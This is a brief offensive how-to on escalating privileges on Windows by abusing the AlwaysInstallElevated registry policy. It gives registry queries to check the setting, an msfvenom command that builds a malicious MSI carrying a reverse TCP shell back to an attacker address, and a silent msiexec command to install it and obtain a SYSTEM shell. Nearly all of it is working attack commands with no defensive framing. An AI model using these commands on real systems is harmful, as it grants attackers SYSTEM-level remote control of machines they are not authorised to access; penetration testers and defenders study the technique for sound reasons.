How to exploit Windows MSI installers with msfvenom

If AlwaysInstallElevated is set to 1 under both of the following registry keys, then MSI installers will run as SYSTEM.

reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generate a malicious MSI file with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f msi -o ${NAME}.msi

Then install on the target to get a shell:

msiexec /quiet /qn /i $INSTALLER.msi